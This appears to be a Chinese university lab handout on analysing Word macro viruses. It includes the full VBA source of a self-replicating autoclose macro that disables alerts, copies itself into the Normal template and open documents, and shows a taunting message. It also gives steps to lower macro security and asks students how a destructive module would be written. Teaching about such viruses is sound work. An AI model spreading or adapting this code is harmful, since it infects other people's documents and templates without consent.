实验三脚本病毒和宏病毒分析
一、实验目的
通过这项实验旨在使学生掌握Office下宏病毒的基本原理,主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。
二、实验环境
操作系统环境:Windows98/NT/2000/XP 编程环境:Office VBA
三、实验基础知识要求
Office VBA编程环境
四、实验任务
1.任务性质:验证性实验
2.任务描述:下面的示例中给出的是一个Word宏病毒的示例程序(只有传染模块),仔细阅读源程序,掌握Word宏病毒的传染过程。
3.任务步骤:
(1)打开Word2000,新建一个文档名为“test”;
(2)点击“工具-宏-宏”,在对话框“宏的位置”选择“test”,在宏名中输入“autoclose”,然后点击“创建”按钮;
(3)在VBA编辑环境中输入示例程序中给出的代码,并保存,然后退出VBA;
(4)点击“工具-宏-宏”,在对话框中点击“管理器”按钮,在管理器对话框中点击“宏方案项”标签;在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”;
(5)点击“工具-宏-安全性”,在安全性对话框中的安全级标签中选择“低”,在可靠性来源标签中选择“信任对VB项目的访问”;
(6)保存并关闭“test”文档;
(7)新建一个文档test1,关闭后重新打开,观察test1是否被感染。
(8)清除此宏病毒,即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。
4.示例程序
Sub autoclose()
' autoclose Macro
' 宏在2005-8-26 由jingjd 创建
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayStatusBar = False
'Options.VirusProtection = False
Options.SaveNormalPrompt = False
Const VirusName = "AOPEDMOK"
'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name
'MsgBox ActiveDocument.VBProject.VBComponents(2).Name
Set Doc = ActiveDocument.VBProject.VBComponents
Set Tmp = NormalTemplate.VBProject.VBComponents
Const ExportSource = "E:\aopedmok.txt"
For j = 1 To Doc.Count
If Doc(j).Name = VirusName Then
DocInstalled = 1
Doc(j).Export ExportSource
End If
Next j
For i = 1 To Tmp.Count
If Tmp(i).Name = VirusName Then
TmpInstalled = 1
Tmp(i).Export ExportSource
End If
Next i
If TmpInstalled = 0 Then
Tmp.Import ExportSource
NormalTemplate.Save
End If
If DocInstalled = 0 Then
Doc.Import ExportSource
ActiveDocument.SaveAs ActiveDocument.FullName End If
MsgBox "HaHa,you are attacked!", 0, "Word,Macro"
End Sub
五、实验报告要求
1.写出实验过程和病毒感染后的现象;
2.试分析宏病毒的破坏模块应该怎样编写;
3.总结宏病毒的预防方法。